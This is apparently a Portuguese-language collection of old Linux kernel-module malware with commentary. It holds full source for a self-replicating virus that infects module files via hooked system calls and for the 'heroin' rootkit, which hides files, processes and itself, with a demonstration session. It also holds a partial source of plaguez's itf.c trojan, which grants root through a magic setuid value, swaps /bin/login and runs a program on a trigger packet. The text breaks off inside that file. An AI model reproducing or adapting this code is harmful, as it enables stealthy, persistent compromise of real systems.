/* i'm not sure we need all of 'em ...*/

#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

#define __NR_our_syscall 211
#define MAXPATH 30
/*#define DEBUG*/
#ifdef DEBUG
   #define DPRINTK(format, args...) printk(KERN_INFO format,##args)
#else
   #define DPRINTK(format, args...)
#endif

/* where the sys_calls are */

extern void *sys_call_table[];

/* tested only with kernel 2.0.33, but thiz should run under 2.x.x
 * if you change the default_path[] values 
 */

static char *default_path[] = {
	".", "/linux/modules",
	"/lib/modules/2.0.33/fs",
	"/lib/modules/2.0.33/net",
	"/lib/modules/2.0.33/scsi",
	"/lib/modules/2.0.33/block",
	"/lib/modules/2.0.33/cdrom",
	"/lib/modules/2.0.33/ipv4",
	"/lib/modules/2.0.33/misc",
	"/lib/modules/default/fs",
	"/lib/modules/default/net",
	"/lib/modules/default/scsi",
	"/lib/modules/default/block",
	"/lib/modules/default/cdrom",
	"/lib/modules/default/ipv4",
	"/lib/modules/default/misc",
	"/lib/modules/fs",
	"/lib/modules/net",
	"/lib/modules/scsi",
	"/lib/modules/block",
	"/lib/modules/cdrom",
	"/lib/modules/ipv4",
	"/lib/modules/misc",
	0
};

static struct symbol_table my_symtab = {
   	#include <linux/symtab_begin.h>
   	X(printk),
        X(vmalloc),
        X(vfree),
        X(kerneld_send),
        X(current_set),
        X(sys_call_table),
        X(register_symtab_from),
        #include <linux/symtab_end.h>
};

char files2infect[7][60 + 2];

/* const char kernel_version[] = UTS_RELEASE; */

int (*old_create_module)(char*, int);
int (*old_delete_module)(char *);
int (*open)(char *, int, int);
int (*close)(int);
int (*unlink)(char*);

int our_syscall(int);
int infectfile(char *);
int is_infected(char *);
int cp(struct file*, struct file*);
int writeVir(char *, char *);
int init_module2(struct module*);
char *get_mod_name(char*);

/* needed to be global */

void *VirCode = NULL;

/* install new syscall to see if we are already in kmem */
int our_syscall(int mn)
{
   	/* magic number: 40hex :-) */
   	if (mn == 0x40)
           	return 0;
        else
           	return -ENOSYS;
}

int new_create_module(char *name, int size)
{
   	int i = 0, j = 0, retval = 0;
        
        if ((retval = old_create_module(name, size)) < 0)
           	return retval;
        /* find next free place */
        for (i = 0; files2infect[i][0] && i < 7; i++);
        if (i == 6)
           	return retval;
        /* get name of mod from user-space */
        while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j < 60)
           	j++;
	DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i);
        return retval;
}

/* we infect modules after sys_delete_module, to be sure
 * we don't confuse the kernel
 */

int new_delete_module(char *modname)
{
   	static int infected = 0;
	int retval = 0, i = 0;
        char *s = NULL, *name = NULL;
        
        
        retval = old_delete_module(modname); 

        if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
           	return retval;

   	for (i = 0; files2infect[i][0] && i < 7; i++) {
           	strcat(files2infect[i], ".o"); 
                if ((s  = get_mod_name(files2infect[i])) == NULL) {
                   	return retval;
                }
                name = strcpy(name, s);
                if (!is_infected(name)) {
                   	DPRINTK("try 2 infect %s as #%d\n", name, i);
                        infected++;
                        infectfile(name);
                }
                memset(files2infect[i], 0, 60 + 2);
        } /* for */
        /* its enough */
        if (infected >= ENOUGH)
           	cleanup_module();
        vfree(name);
        return retval;
}


/* lets take a look at sys_init_module(), that calls
 * our init_module() compiled with
 * CFLAG = ... -O2 -fomit-frame-pointer
 * in C:
 * ...
 * if((mp = find_module(name)) == NULL)
 * ...
 *
 * is in asm:
 * ...
 * call find_module
 * movl %eax, %ebp
 * ...
 * note that there is no normal stack frame !!!
 * thats the reason, why we find 'mp' (return from find_module) in %ebp
 * BUT only when compiled with the fomit-frame-pointer option !!!
 * with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp)
 * you should find mp at -4(%ebp) .
 * thiz is very bad hijacking of local vars and an own topic.
 * I hope you do not get an seg. fault.
 */

__asm__ 
("

.align 16
.globl init_module	
   .type init_module,@function

init_module:
        pushl %ebp		 /* ebp is a pointer to mp from sys_init_module() */
                        	 /* and the parameter for init_module2() */
        call init_module2    	 
        popl %eax
        xorl %eax, %eax		 /* all good */
        ret	                 /* and return */
.hype27:
   	.size init_module,.hype27-init_module
");
        
 /* for the one with no -fomit-frame-pointer and no -O2 this should (!) work:
  *
  * pushl %ebx
  * movl %ebp, %ebx
  * pushl -4(%ebx)
  * call init_module2
  * addl $4, %esp
  * xorl %eax, %eax
  * popl %ebx
  * ret
  */

/*----------------------------------------------*/

int init_module2(struct module *mp)
{       
        char *s = NULL, *mod = NULL, *modname = NULL;
        long state = 0;
   
      	mod = vmalloc(60 + 2);
	modname = vmalloc(MAXPATH + 60 + 2);
        if (!mod || !modname)
           	return -1;        
        strcpy(mod, mp->name);
        strcat(mod, ".o");

   	
        MOD_INC_USE_COUNT;        
        DPRINTK("in init_module2: mod = %s\n", mod);
        
        /* take also a look at phrack#52 ...*/
        mp->name = "";
        mp->ref = 0;
        mp->size = 0;

        /* thiz is our new main ,look for copys in kmem ! */
        if (sys_call_table[__NR_our_syscall] == 0) {    
		old_delete_module = sys_call_table[__NR_delete_module];  
                old_create_module = sys_call_table[__NR_create_module];
                sys_call_table[__NR_our_syscall] = (void*)our_syscall;  		
                sys_call_table[__NR_delete_module] = (void*)new_delete_module;         
                sys_call_table[__NR_create_module] = (void*)new_create_module;
                memset(files2infect, 0, (60 + 2)*7);
                register_symtab(&my_symtab);
        }
        open = sys_call_table[__NR_open]; 
        close = sys_call_table[__NR_close];        
        unlink = sys_call_table[__NR_unlink];        
        
        if ((s = get_mod_name(mod)) == NULL)
           	return -1;
        modname = strcpy(modname, s);
	load_real_mod(modname, mod);
	vfree(mod);
        vfree(modname);
	return 0;
}        

int cleanup_module()
{
	sys_call_table[__NR_delete_module] = old_delete_module;
        sys_call_table[__NR_create_module] = old_create_module;
        sys_call_table[__NR_our_syscall] = NULL;
        DPRINTK("in cleanup_module\n");
        vfree(VirCode);
        return 0;
}

/* returns 1 if infected; 
 * seek at position MODLEN + 1 and read out 3 bytes,
 * if it is "ELF" it seems the file is already infected
 */

int is_infected(char *filename) 
{
   	char det[4] = {0};
        int fd = 0;
        struct file *file;

        DPRINTK("in is_infected: filename = %s\n", filename);
   	BEGIN_KMEM
        fd = open(filename, O_RDONLY, 0); 
        END_KMEM
        if (fd <= 0)
           	return -1;
        if ((file = current->files->fd[fd]) == NULL)
           	return -2;
        file->f_pos = MODLEN + 1;
        DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos);
        BEGIN_KMEM
        file->f_op->read(file->f_inode, file, det, 3);
        close(fd);
        END_KMEM
        DPRINTK("in is_infected: det = %s\n", det);
        if (strcmp(det, "ELF") == 0)
           	return 1;
        else
           	return 0;
}

/* copy the host-module to tmp, write VirCode to
 * hostmodule, and append tmp.
 * then delete tmp.
 */


int infectfile(char *filename)
{
        char *tmp = "/tmp/t000";
        int in = 0, out = 0;
        struct file *file1, *file2;
        
        BEGIN_KMEM
        in = open(filename, O_RDONLY, 0640);
        out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
        END_KMEM
        DPRINTK("in infectfile: in = %d out = %d\n", in, out);
        if (in <= 0 || out <= 0)
           	return -1;
        file1 = current->files->fd[in];
        file2 = current->files->fd[out];
        if (!file1 || !file2)
           	return -1;
        /* save hostcode */
        cp(file1, file2);
        BEGIN_KMEM
        file1->f_pos = 0;
        file2->f_pos = 0;
        /* write Vircode [from mem] */
        DPRINTK("in infetcfile: filenanme = %s\n", filename);
        file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
        /* append hostcode */
        cp(file2, file1);
        close(in);
        close(out);
        unlink(tmp);
        END_KMEM
   	return 0;
}        

int disinfect(char *filename)
{

	char *tmp = "/tmp/t000";
        int in = 0, out = 0;
        struct file *file1, *file2;
        
        BEGIN_KMEM
        in = open(filename, O_RDONLY, 0640);
        out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
        END_KMEM
        DPRINTK("in disinfect: in = %d out = %d\n",in, out);
        if (in <= 0 || out <= 0)
           	return -1;
        file1 = current->files->fd[in];
        file2 = current->files->fd[out];
        if (!file1 || !file2)
           	return -1;
        /* save hostcode */
        cp(file1, file2);
	BEGIN_KMEM
 	close(in);
        DPRINTK("in disinfect: filename = %s\n", filename); 
        unlink(filename);
	in = open(filename, O_RDWR|O_CREAT, 0640);
	END_KMEM
	if (in <= 0)
		return -1;
	file1 = current->files->fd[in];
	if (!file1)
           	return -1;
        file2->f_pos = MODLEN;
	cp(file2, file1);
	BEGIN_KMEM
	close(in);
	close(out);
	unlink(tmp);
	END_KMEM
	return 0;
}

/* a simple copy routine, that expects the file struct pointer
 * of the files to be copied.
 * So its possible to append files due to copieng.
 */

int cp(struct file *file1, struct file *file2)
{

   	int in = 0, out = 0, r = 0;
        char *buf;
        
        if ((buf = (char*)vmalloc(10000)) == NULL)
           	return -1;

        DPRINTK("in cp: f_pos = %d\n", file1->f_pos);
        BEGIN_KMEM
        while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0)
           	file2->f_op->write(file2->f_inode, file2, buf, r);
        file2->f_inode->i_mode = file1->f_inode->i_mode;
        file2->f_inode->i_atime = file1->f_inode->i_atime;
        file2->f_inode->i_mtime = file1->f_inode->i_mtime;
        file2->f_inode->i_ctime = file1->f_inode->i_ctime;
        END_KMEM
        vfree(buf);
        return 0;
}

/* Is that simple: we disinfect the module [hide 'n seek]
 * and send a request to kerneld to load
 * the orig mod. N0 fuckin' parsing for symbols and headers
 * is needed - cool.
 */
int load_real_mod(char *path_name, char *name)
{   	
        int r = 0, i = 0;		
        struct file *file1, *file2;
        int in =  0, out = 0; 

        DPRINTK("in load_real_mod name = %s\n", path_name);
        if (VirCode)
           	vfree(VirCode);
        VirCode = vmalloc(MODLEN);
        if (!VirCode)
                return -1;
        BEGIN_KMEM
        in = open(path_name, O_RDONLY, 0640);
        END_KMEM
	if (in <= 0)
           	return -1;
        file1 = current->files->fd[in];
        if (!file1)
              	return -1;
        /* read Vircode [into mem] */
	BEGIN_KMEM
        file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
	close(in);
	END_KMEM
	disinfect(path_name);
        r = request_module(name);
        DPRINTK("in load_real_mod: request_module = %d\n", r);
        return 0;
}   	
        
char *get_mod_name(char *mod)
{
	int fd = 0, i = 0;
	static char* modname = NULL;
	
	if (!modname)
		modname = vmalloc(MAXPATH + 60 + 2);
	if (!modname)
		return NULL;
	BEGIN_KMEM
        for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i++) {
		memset(modname, 0, MAXPATH + 60 + 2);
		modname = strcpy(modname, default_path[i]);
		modname = strcat(modname, "/");
                modname = strcat(modname, mod);
		if ((fd = open(modname, O_RDONLY, 0640)) > 0) 
			break;
        }
        close(fd);
        END_KMEM    
        if (!default_path[i])
           	return NULL;  
	return modname;	
}        

-----------------------------------------------------------------------------
 
Heroin- the classic(O classico)

Nome: Heroin
Autor: Runar Jensen
Descricao: Jensen introduziu algumas boas ideias neste texto, estes
foram os primeiros passos para nosso moderno Hide LKM do plaguez.
A maneira que Jensen fez isso requer mais trabalho para ser codado
do que o de plaguez(Solar Designer e outras pessoas), mas funciona.
O modo Jensen mostra processos de uma forma muito complicada(bem, este
texto eh bem velho, e esta foi uma das primeiras tecnicas de 
LKM hacking). Ele usa um codigo sinal especial (31) em ordem para 
setar a flag num processo estruturado indicando q aquele processo 
sera aberto, da maneira que descutimos na parte II.
O resto eh bastante claro.

----------------heroin.txt------------------

Como usualmente demonstrado na Phrack 50 com seu projeto, eh trivial
apontar todo systemcall no linux com um modulo. Issu parece que eh a
primeira vez que seu sistema foi compromissado no boot level, issu eh 
possivel para um intruso alterar completamente "sem" modificar nenhum
binario ou deixando nenhuma backdoor visivel. Pois estas simpaticas
ferramentas tem sido usadas pela comunidade hacker atualmente, eu 
decidi publicar um pedaco do codigo para demonstrar o potencial de um
modulo malicioso hehehe.
O pedaco do codigo eh usado em modulos para kerneis 2.1, aqueles 
esquemas getdents(), kill(), read() e query_module() chamados. 
Depois de rodado, o modulo se torna invisivel para um 'lsmod' e 
tambem fica fora do /proc/modules modificando a saida de qualquer 
query_module() chamada e toda read() chamada acessando o /proc/modules.
Aparentemente 'rmmod' entao chama query_module() para listar todos os
modulos antes para remover um especifico, e ira aparecer que o modulo
nunca existiu. A saida de qualquer getdents() chamada eh modificada 
para mostrar qualquer arquivo ou diretorio iniciado com a seguinte 
string, deixando-o acessivel apenas se voce souber seus nomes exatos.
Issu entao mostrara qualquer diretorio do /proc/ apontando pids que
tem uma flag especifica eu sua estrutura interna, deixando um usuario
com acesso root fucando em qualquer processo(e sao criancas, desde que
a estrutura eh duplicada depois que o processo faz um fork()).
Para setar a flag, simplesmente envie um processo de sinal 31 que eh 
surpreendido e pego pela chamado do kill().

Para demonstrar os efeitos...

[root@image:~/test]# ls -l
total 3
-rw-------   1 root     root         2832 Oct  8 16:52 heroin.o
[root@image:~/test]# insmod heroin.o
[root@image:~/test]# lsmod | grep heroin
[root@image:~/test]# grep heroin /proc/modules
[root@image:~/test]# rmmod heroin
rmmod: module heroin not loaded
[root@image:~/test]# ls -l
total 0
[root@image:~/test]# echo "I'm invisible" > heroin_test
[root@image:~/test]# ls -l
total 0
[root@image:~/test]# cat heroin_test
I'm invisible
[root@image:~/test]# ps -aux | grep gpm
root       223  0.0  1.0   932   312  ?  S   16:08   0:00 gpm
[root@image:~/test]# kill -31 223
[root@image:~/test]# ps -aux | grep gpm
[root@image:~/test]# ps -aux 223
USER       PID %CPU %MEM  SIZE   RSS TTY STAT START   TIME COMMAND
root       223  0.0  1.0   932   312  ?  S   16:08   0:00 gpm
[root@image:~/test]# ls -l /proc | grep 223
[root@image:~/test]# ls -l /proc/223
total 0
-r--r--r--   1 root     root            0 Oct  8 16:53 cmdline
lrwx------   1 root     root            0 Oct  8 16:54 cwd -> /var/run
-r--------   1 root     root            0 Oct  8 16:54 environ
lrwx------   1 root     root            0 Oct  8 16:54 exe -> /usr/bin/gpm
dr-x------   1 root     root            0 Oct  8 16:54 fd
pr--r--r--   1 root     root            0 Oct  8 16:54 maps
-rw-------   1 root     root            0 Oct  8 16:54 mem
lrwx------   1 root     root            0 Oct  8 16:54 root -> /
-r--r--r--   1 root     root            0 Oct  8 16:53 stat
-r--r--r--   1 root     root            0 Oct  8 16:54 statm
-r--r--r--   1 root     root            0 Oct  8 16:54 status
[root@image:~/test]#

As demonstracoes parecem obvias. Uma vez que um compromisso foi feito,
nada pode ser confiavel, inclusive o sistema operacional. Um modulo 
como esse pode ser colocado no /lib/modules/<kernel_version>/default
para forcar isso a ser rodado depois de todo root.
Combinadas com reacoes obscuras da backdoor remota isso pode ser 
indetectavel por um longo periodo a nao ser que o adm saiba pelo que 
ele esta procurando.
Entao como pode ser detectado????
Neste caso, o quantidade de processos eh limitada, entao voce pode abrir
todos os processos possiveis e tentar localizar um q nao foi listado no
/proc. Usando readdir() com getdents() nao vai funcionar.
Na verdade, tentar procurar algo como issu sabendo exatamente o que 
voce esta procurando, pode ser encontrado no user scape...

Ou seja, continue amedrontado! Amedronte-se muuito! =]

/*
 * heroin.c
 *
 * Runar Jensen <zarq@opaque.org>
 *
 * This Linux kernel module patches the getdents(), kill(), read()
 * and query_module() system calls to demonstrate the potential
 * dangers of the way modules have full access to the entire kernel.
 *
 * Once loaded, the module becomes invisible and can not be removed
 * with rmmod. Any files or directories starting with the string
 * defined by MAGIC_PREFIX appear to disappear, and sending a signal
 * 31 to any process as root effectively hides it and all its future
 * children.
 *
 * This code should compile cleanly and work with most (if not all)
 * recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57.
 * It will not compile as is under 2.0.30, since 2.0.30 lacks the
 * query_module() function.
 *
 * Compile with:
 *   gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c
 */

#include <linux/fs.h>
#include <linux/module.h>
#include <linux/modversions.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <sys/syscall.h>

#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <stdlib.h>

#define MAGIC_PREFIX "heroin"

#define PF_INVISIBLE 0x10000000
#define SIGINVISI 31

int errno;

static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
static inline _syscall2(int, kill, pid_t, pid, int, sig);
static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret);

extern void *sys_call_table[];

int (*original_getdents)(unsigned int, struct dirent *, unsigned int);
int (*original_kill)(pid_t, int);
int (*original_read)(int, void *, size_t);
int (*original_query_module)(const char *, int, void *, size_t, size_t *);

int myatoi(char *str)
{
        int res = 0;
        int mul = 1;
        char *ptr;

        for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
                if(*ptr < '0' || *ptr > '9')
                        return(-1);
                res += (*ptr - '0') * mul;
                mul *= 10;
        }
        return(res);
}

void mybcopy(char *src, char *dst, unsigned int num)
{
        while(num--)
                *(dst++) = *(src++);
}

int mystrcmp(char *str1, char *str2)
{
        while(*str1 && *str2)
                if(*(str1++) != *(str2++))
                        return(-1);
        return(0);
}

struct task_struct *find_task(pid_t pid)
{
        struct task_struct *task = current;

        do {
                if(task->pid == pid)
                        return(task);

                task = task->next_task;

        } while(task != current);

        return(NULL);
}

int is_invisible(pid_t pid)
{
        struct task_struct *task;

        if((task = find_task(pid)) == NULL)
                return(0);

        if(task->flags & PF_INVISIBLE)
                return(1);

        return(0);
}

int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
        int res;
        int proc = 0;
        struct inode *dinode;
        char *ptr = (char *)dirp;
        struct dirent *curr;
        struct dirent *prev = NULL;

        res = (*original_getdents)(fd, dirp, count);

        if(!res)
                return(res);

        if(res == -1)
                return(-errno);

#ifdef __LINUX_DCACHE_H
        dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
        dinode = current->files->fd[fd]->f_inode;
#endif

        if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
                proc = 1;

        while(ptr < (char *)dirp + res) {
                curr = (struct dirent *)ptr;

                if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||
                        (proc && is_invisible(myatoi(curr->d_name)))) {

                        if(curr == dirp) {
                                res -= curr->d_reclen;
                                mybcopy(ptr + curr->d_reclen, ptr, res);
                                continue;
                        }
                        else
                                prev->d_reclen += curr->d_reclen;
                }
                else
                        prev = curr;

                ptr += curr->d_reclen;
        }

        return(res);
}

int hacked_kill(pid_t pid, int sig)
{
        int res;
        struct task_struct *task = current;

        if(sig != SIGINVISI) {
                res = (*original_kill)(pid, sig);

                if(res == -1)
                        return(-errno);

                return(res);
        }

        if((task = find_task(pid)) == NULL)
                return(-ESRCH);

        if(current->uid && current->euid)
                return(-EPERM);

        task->flags |= PF_INVISIBLE;

        return(0);
}

int hacked_read(int fd, char *buf, size_t count)
{
        int res;
        char *ptr, *match;
        struct inode *dinode;

        res = (*original_read)(fd, buf, count);

        if(res == -1)
                return(-errno);

#ifdef __LINUX_DCACHE_H
        dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
        dinode = current->files->fd[fd]->f_inode;
#endif

        if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)
                return(res);

        ptr = buf;

        while(ptr < buf + res) {
                if(!mystrcmp(MAGIC_PREFIX, ptr)) {
                        match = ptr;
                        while(*ptr && *ptr != '\n')
                                ptr++;
                        ptr++;
                        mybcopy(ptr, match, (buf + res) - ptr);
                        res = res - (ptr - match);
                        return(res);
                }
                while(*ptr && *ptr != '\n')
                        ptr++;
                ptr++;
        }

        return(res);
}

int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)
{
        int res;
        int cnt;
        char *ptr, *match;

        res = (*original_query_module)(name, which, buf, bufsize, ret);

        if(res == -1)
                return(-errno);

        if(which != QM_MODULES)
                return(res);

        ptr = buf;

        for(cnt = 0; cnt < *ret; cnt++) {
                if(!mystrcmp(MAGIC_PREFIX, ptr)) {
                        match = ptr;
                        while(*ptr)
                                ptr++;
                        ptr++;
                        mybcopy(ptr, match, bufsize - (ptr - (char *)buf));
                        (*ret)--;
                        return(res);
                }
                while(*ptr)
                        ptr++;
                ptr++;
        }

        return(res);
}

int init_module(void)
{
        original_getdents = sys_call_table[SYS_getdents];
        sys_call_table[SYS_getdents] = hacked_getdents;

        original_kill = sys_call_table[SYS_kill];
        sys_call_table[SYS_kill] = hacked_kill;

        original_read = sys_call_table[SYS_read];
        sys_call_table[SYS_read] = hacked_read;

        original_query_module = sys_call_table[SYS_query_module];
        sys_call_table[SYS_query_module] = hacked_query_module;

        return(0);
}

void cleanup_module(void)
{
        sys_call_table[SYS_getdents] = original_getdents;
        sys_call_table[SYS_kill] = original_kill;
        sys_call_table[SYS_read] = original_read;
        sys_call_table[SYS_query_module] = original_query_module;
}

-------------------------------------------------------------------------

LKM Hider/Socket Backdoor

Nome: itf.c
Autor: Plaguez
Descricao: Este muito bom LKM foi publicado na phrack 52(artigo 18: 
'Weakening the Linux Kernel'). Este modulo tem tudo que voce precisa
para por uma backdoor em um sistema de uma maneira bastante efetiva.
Veja o texto e depois aprecie o codigo =]

Este eh o itf.c. O ponto forte deste programa sao demonstracoes de 
tecnicas de backdoor em kernel usando systemcalls redirecionados.
Uma vez instalado, eh muito dificil de se livrar.

Incluindo a parte princpal:

- funcoes stealth: uma vez rodado 'insmod', itf ira modificar a 
estrutura do modulo *mp e get_kernel_symbols(2) entao isso nao ira 
aparecer no /proc/modules ou saidas de terminais. Entao, o modulo nao
pode ser fechado.

- demonstrador sniffer: itf ira por uma backdoor no ioctl(2) entao a flag 
promisc sera quebrada. Note que vc precisara alocar o sniffer antes 
de rodar o insmod itf.o, porque o itf ira alterar a flag promisc e 
fara quando parar de pega-lo(ou entao vc pode simplesmente tentar um
ifconfig eth0 +promisc e manchar o modulo...).

- demonstrador de arquivos: itf vai entao aplicar a getdents(2) system 
calls, e mostrando ao conteudo dos arquivos uma certa palavra em 
seu arquivo.

- demonstrador de processos: usando o mesmo esquema descrito acima, 
ele ira mostrar os diretorios /proc/PID usando entradas argv. 

- socket recvfrom() backdoor: quando um pacote conteudo um certo 
tamanho e a string eh recebida, um programa nao-interativo sera 
executado. Tipico uso de um shell script(que ira trabalhar usando 
uma string magica) que abre outra porta e espera por comandos de shell.

- setupid() trojan: quando um setupid() system call com uid == magic
number eh feito, o processo chamado ira pegar uid = euid = gid = 0.

/*
 * itf.c v0.8
 * Linux Integrated Trojan Facility
 * (c) plaguez 1997  --  dube0866@eurobretagne.fr
 * This is mostly not fully tested code. Use at your own risks.
 *
 * 
 * compile with:
 *   gcc -c -O3 -fomit-frame-pointer itf.c
 * Then:
 *   insmod itf
 * 
 * 
 * Thanks to Halflife and Solar Designer for their help/ideas. 
 *
 * Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial.
 *
 * 
 */

#define MODULE
#define __KERNEL__


#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>

#include <linux/types.h>
#include <linux/fs.h>
#include <linux/mm.h>
#include <linux/errno.h>
#include <asm/segment.h>
#include <asm/pgtable.h>
#include <sys/syscall.h>
#include <linux/dirent.h>
#include <asm/unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/socketcall.h>
#include <linux/netdevice.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/proc_fs.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <ctype.h>


/* Customization section 
 * - RECVEXEC is the full pathname of the program to be launched when a packet
 * of size MAGICSIZE and containing the word MAGICNAME is received with recvfrom().
 * This program can be a shell script, but must be able to handle null **argv (I'm too lazy
 * to write more than execve(RECVEXEC,NULL,NULL); :)
 * - NEWEXEC is the name of the program that is executed instead of OLDEXEC
 * when an execve() syscall occurs.
 * - MAGICUID is the numeric uid that will give you root when a call to setuid(MAGICUID)
 * is made (like Halflife's code)
 * - files containing MAGICNAME in their full pathname will be invisible to
 * a getdents() system call.
 * - processes containing MAGICNAME in their process name will be hidden of the
 * procfs tree.
 */
#define MAGICNAME "w00w00T$!"
#define MAGICUID  31337
#define OLDEXEC   "/bin/login"
#define NEWEXEC   "/.w00w00T$!/w00w00T$!login"
#define RECVEXEC  "/.w00w00T$!/w00w00T$!recv"
#define MAGICSIZE sizeof(MAGICNAME)+10

/* old system calls vectors */
int (*o_getdents) (uint, struct dirent *, uint);
ssize_t(*o_readdir) (int, void *, size_t);
int (*o_setuid) (uid_t);
int (*o_execve) (const char *, const char *[], const char *[]);
int (*o_ioctl) (int, int, unsigned long);
int (*o_get_kernel_syms) (struct kernel_sym *);
ssize_t(*o_read) (int, void *, size_t);
int (*o_socketcall) (int, unsigned long *);
/* entry points to brk() and fork() syscall. */
static inline _syscall1(int, brk, void *, end_data_segment);
static inline _syscall0(int, fork);
static inline _syscall1(void, exit, int, status);

extern void *sys_call_table[];
extern struct proto tcp_prot;
int errno;

char mtroj[] = MAGICNAME;
int __NR_myexecve;
int promisc;



/*
 * String-oriented functions
 * (from user-space to kernel-space or invert)
 */

char *strncpy_fromfs(char *dest, const char *src, int n)
{
    char *tmp = src;
    int compt = 0;

    do {
	dest[compt++] = __get_user(tmp++, 1);
    }
    while ((dest[compt - 1] != '\0') && (compt != n));

    return dest;
}


int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr;

    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
	if (*ptr < '0' || *ptr > '9')
	    return (-1);
	res += (*ptr - '0') * mul;
	mul *= 10;
    }
    return (res);
}



/*
 * process hiding functions
 */
struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = current;
    do {
	if (p->pid == pid)
	    return p;
	p = p->next_task;
    }
    while (p != current);
    return NULL;

}

/* the following function comes from fs/proc/array.c */
static inline char *task_name(struct task_struct *p, char *buf)
{
    int i;
    char *name;

    name = p->comm;
    i = sizeof(p->comm);
    do {
	unsigned char c = *name;
	name++;
	i--;
	*buf = c;
	if (!c)
	    break;
	if (c == '\\') {
	    buf[1] = c;
	    buf += 2;
	    continue;
	}
	if (c == '\n') {
	    buf[0] = '\\';
	    buf[1] = 'n';
	    buf += 2;
	    continue;
	}
	buf++;
    }
    while (i);
    *buf = '\n';
    return buf + 1;
}



int invisible(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    char *buffer;
    if (task) {
	buffer = kmalloc(200, GFP_KERNEL);
	memset(buffer, 0, 200);
	task_name(task, buffer);
	if (strstr(buffer, (char *) &mtroj)) {
	    kfree(buffer);
	    return 1;
	}
    }
    return 0;
}



/*
 * New system calls
 */

/*
 * hide module symbols
 */
int n_get_kernel_syms(struct kernel_sym *table)
{
    struct kernel_sym *tb;
    int compt, compt2, compt3, i, done;

    compt = (*o_get_kernel_syms) (table);
    if (table != NULL) {
	tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL);
	if (tb == 0) {
	    return compt;
	}
	compt2 = 0;
	done = 0;
	i = 0;
	memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym));
	while (!done) {
	    if ((tb[compt2].name)[0] == '#')
		i = compt2;
	    if (!strcmp(tb[compt2].name, mtroj)) {
		for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++);
		if (compt3 != (compt - 1))
		    memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt - compt3) * sizeof(struct kernel_sym));
		else
		    compt = i;
		done++;
	    }
	    compt2++;
	    if (compt2 == compt)
		done++;

	}

	memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym));
	kfree(tb);
    }
    return compt;

}



/*
 * how it works:
 * I need to allocate user memory. To do that, I'll do exactly as malloc() does
 * it (changing the break value).
 */
int my_execve(const char *filename, const char *argv[], const char *envp[])
{
    long __res;
    __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
    return (int) __res;
}

int n_execve(const char *filename, const char *argv[], const char *envp[])
{
    char *test;
    int ret, tmp;
    char *truc = OLDEXEC;
    char *nouveau = NEWEXEC;
    unsigned long mmm;

    test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
    (void) strncpy_fromfs(test, filename, strlen(truc));
    test[strlen(truc)] = '\0';
    if (!strcmp(test, truc)) {
	kfree(test);
	mmm = current->mm->brk;
	ret = brk((void *) (mmm + 256));
	if (ret < 0)
	    return ret;
	memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
	ret = my_execve((char *) (mmm + 2), argv, envp);
	tmp = brk((void *) mmm);
    } else {
	kfree(test);
	ret = my_execve(filename, argv, envp);
    }
    return ret;

}


/*
 * Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces.
 * If we reset the PROMISC flag when the trojan is already running, then it
 * won't hide it anymore (needed otherwise you'd just have to do an
 * "ifconfig eth0 +promisc" to find the trojan).
 */
int n_ioctl(int d, int request, unsigned long arg)
{
    int tmp;
    struct ifreq ifr;

    tmp = (*o_ioctl) (d, request, arg);
    if (request == SIOCGIFFLAGS && !promisc) {
	memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
	ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);
